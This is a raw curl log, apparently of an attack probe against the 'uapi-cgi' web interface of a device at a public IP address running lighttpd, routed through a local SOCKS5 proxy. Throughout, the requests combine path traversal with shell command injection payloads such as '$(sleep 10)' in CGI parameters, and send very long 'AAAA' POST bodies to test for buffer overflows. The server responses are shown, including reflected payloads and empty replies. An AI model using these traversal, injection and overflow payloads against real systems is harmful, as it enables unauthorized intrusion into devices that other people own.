< Server: lighttpd/1.4.35
<
function langList() {
	this.langArray = [];
}

function langArray(name, path) {
	this.name = name;
	this.path = path;
}

var List = new langList();
* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0
 curl --socks5 127.0.0.1:7890 -v --path-as-is "http://84.228.50.89:82/jjj/../uapi-cgi/simple_reclistjs.cgi?date=%24(sleep%205)"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* SOCKS5 communication to 84.228.50.89:82
* SOCKS5 connect to IPv4 84.228.50.89 (locally resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
> GET /jjj/../uapi-cgi/simple_reclistjs.cgi?date=%24(sleep%205) HTTP/1.1
> Host: 84.228.50.89:82
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Cache-Control: no-cache, max-age=0
< Pragma: no-cache
< Expires: Mon, 09 Aug 2021 05:20:04 GMT
< Content-Type: application/x-javascript
< Transfer-Encoding: chunked
< Date: Mon, 09 Aug 2021 05:20:12 GMT
< Server: lighttpd/1.4.35
<
function recList() {
	this.recArray = [];
}

function recArray(name, size, used) {
	this.name = name;
	this.size = size;
	this.used = used;
}

var List = new recList();
* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0
 curl --socks5 127.0.0.1:7890 -v --path-as-is "http://84.228.50.89:82/jjj/../uapi-cgi/oem.cgi?environment.lang=%24(sleep%2010)"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* SOCKS5 communication to 84.228.50.89:82
* SOCKS5 connect to IPv4 84.228.50.89 (locally resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
> GET /jjj/../uapi-cgi/oem.cgi?environment.lang=%24(sleep%2010) HTTP/1.1
> Host: 84.228.50.89:82
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Cache-Control: no-cache, max-age=0
< Pragma: no-cache
< Expires: Tue, 10 Aug 2021 01:18:09 GMT
< Content-Type: text/plain
< Transfer-Encoding: chunked
< Date: Tue, 10 Aug 2021 01:18:19 GMT
< Server: lighttpd/1.4.35
<
OEM.Environment.lang=$(sleep 10)
* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0
 curl --socks5 127.0.0.1:7890 -v --path-as-is "http://84.228.50.89:82/jjj/../uapi-cgi/tmpapp.cgi?appfile.filename=%24(sleep%2010)"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* SOCKS5 communication to 84.228.50.89:82
* SOCKS5 connect to IPv4 84.228.50.89 (locally resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
> GET /jjj/../uapi-cgi/tmpapp.cgi?appfile.filename=%24(sleep%2010) HTTP/1.1
> Host: 84.228.50.89:82
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Cache-Control: no-cache, max-age=0
< Pragma: no-cache
< Expires: Tue, 10 Aug 2021 01:22:42 GMT
< Content-Type: text/plain
< Transfer-Encoding: chunked
< Date: Tue, 10 Aug 2021 01:23:03 GMT
< Server: lighttpd/1.4.35
<
* Connection #0 to host 127.0.0.1 left intact
#403|ERR OPERATION|appfile|failed to save : * Closing connection 0
 curl --socks5 127.0.0.1:7890 -v -d "action=AAA" --path-as-is "http://84.228.50.89:82/jjj/../uapi-cgi/instantrec.cgi"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* SOCKS5 communication to 84.228.50.89:82
* SOCKS5 connect to IPv4 84.228.50.89 (locally resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
> POST /jjj/../uapi-cgi/instantrec.cgi HTTP/1.1
> Host: 84.228.50.89:82
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Length: 10
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 10 out of 10 bytes
< HTTP/1.1 200 OK
< Cache-Control: no-cache, max-age=0
< Pragma: no-cache
< Expires: Tue, 10 Aug 2021 01:41:57 GMT
< Content-Type: text/plain
< Transfer-Encoding: chunked
< Date: Tue, 10 Aug 2021 01:41:59 GMT
< Server: lighttpd/1.4.35
<
ERROR|AAA|Bad option
* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0

 curl --socks5 127.0.0.1:7890 -v -d "action=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" --path-as-is "http://84.228.50.89:82/jjj/../uapi-cgi/instantrec.cgi"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* SOCKS5 communication to 84.228.50.89:82
* SOCKS5 connect to IPv4 84.228.50.89 (locally resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
> POST /jjj/../uapi-cgi/instantrec.cgi HTTP/1.1
> Host: 84.228.50.89:82
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Length: 607
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 607 out of 607 bytes
< HTTP/1.1 200 OK
< Cache-Control: no-cache, max-age=0
< Pragma: no-cache
< Expires: Tue, 10 Aug 2021 01:42:22 GMT
< Content-Length: 0
< Date: Tue, 10 Aug 2021 01:42:25 GMT
< Server: lighttpd/1.4.35
<
* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0
 curl --socks5 127.0.0.1:7890 -v -d "profile=AAAA" --path-as-is "http://84.228.50.89:82/jjj/../uapi-cgi/encprofile.cgi"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* SOCKS5 communication to 84.228.50.89:82
* SOCKS5 connect to IPv4 84.228.50.89 (locally resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
> POST /jjj/../uapi-cgi/encprofile.cgi HTTP/1.1
> Host: 84.228.50.89:82
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Length: 12
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 12 out of 12 bytes
< HTTP/1.1 200 OK
< Cache-Control: no-cache, max-age=0
< Pragma: no-cache
< Expires: Tue, 10 Aug 2021 01:54:43 GMT
< Content-Type: text/plain
< Transfer-Encoding: chunked
< Date: Tue, 10 Aug 2021 01:54:44 GMT
< Server: lighttpd/1.4.35
<
#403|ERR OPERATION|list|ENCODERPROFILE.AAAA|empty data list
* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0

 curl --socks5 127.0.0.1:7890 -v -d "profile=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" --path-as-is "http://84.228.50.89:82/jjj/../uapi-cgi/encprofile.cgi"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* SOCKS5 communication to 84.228.50.89:82
* SOCKS5 connect to IPv4 84.228.50.89 (locally resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
> POST /jjj/../uapi-cgi/encprofile.cgi HTTP/1.1
> Host: 84.228.50.89:82
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Length: 1212
> Content-Type: application/x-www-form-urlencoded
> Expect: 100-continue
>
* Done waiting for 100-continue
* We are completely uploaded and fine
< HTTP/1.1 200 OK
< Cache-Control: no-cache, max-age=0
< Pragma: no-cache
< Expires: Tue, 10 Aug 2021 01:55:33 GMT
< Content-Type: text/plain
< Transfer-Encoding: chunked
< Date: Tue, 10 Aug 2021 01:55:35 GMT
< Server: lighttpd/1.4.35
<
* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0
 curl --socks5 127.0.0.1:7890 -v -d "profile=AAAA" --path-as-is "http://84.228.50.89:82/jjj/../uapi-cgi/evnprofile.cgi"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* SOCKS5 communication to 84.228.50.89:82
* SOCKS5 connect to IPv4 84.228.50.89 (locally resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
> POST /jjj/../uapi-cgi/evnprofile.cgi HTTP/1.1
> Host: 84.228.50.89:82
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Length: 12
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 12 out of 12 bytes
< HTTP/1.1 200 OK
< Cache-Control: no-cache, max-age=0
< Pragma: no-cache
< Expires: Tue, 10 Aug 2021 01:57:58 GMT
< Content-Type: text/plain
< Transfer-Encoding: chunked
< Date: Tue, 10 Aug 2021 01:57:59 GMT
< Server: lighttpd/1.4.35
<
#403|ERR OPERATION|list|EVENTPROFILE.AAAA|empty data list
* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0

 curl --socks5 127.0.0.1:7890 -v -d "profile=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" --path-as-is "http://84.228.50.89:82/jjj/../uapi-cgi/evnprofile.cgi"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* SOCKS5 communication to 84.228.50.89:82
* SOCKS5 connect to IPv4 84.228.50.89 (locally resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
> POST /jjj/../uapi-cgi/evnprofile.cgi HTTP/1.1
> Host: 84.228.50.89:82
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Length: 1212
> Content-Type: application/x-www-form-urlencoded
> Expect: 100-continue
>
* Done waiting for 100-continue
* We are completely uploaded and fine
< HTTP/1.1 200 OK
< Cache-Control: no-cache, max-age=0
< Pragma: no-cache
< Expires: Tue, 10 Aug 2021 01:58:16 GMT
< Content-Type: text/plain
< Transfer-Encoding: chunked
< Date: Tue, 10 Aug 2021 01:58:17 GMT
< Server: lighttpd/1.4.35
<
* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0

最后更新于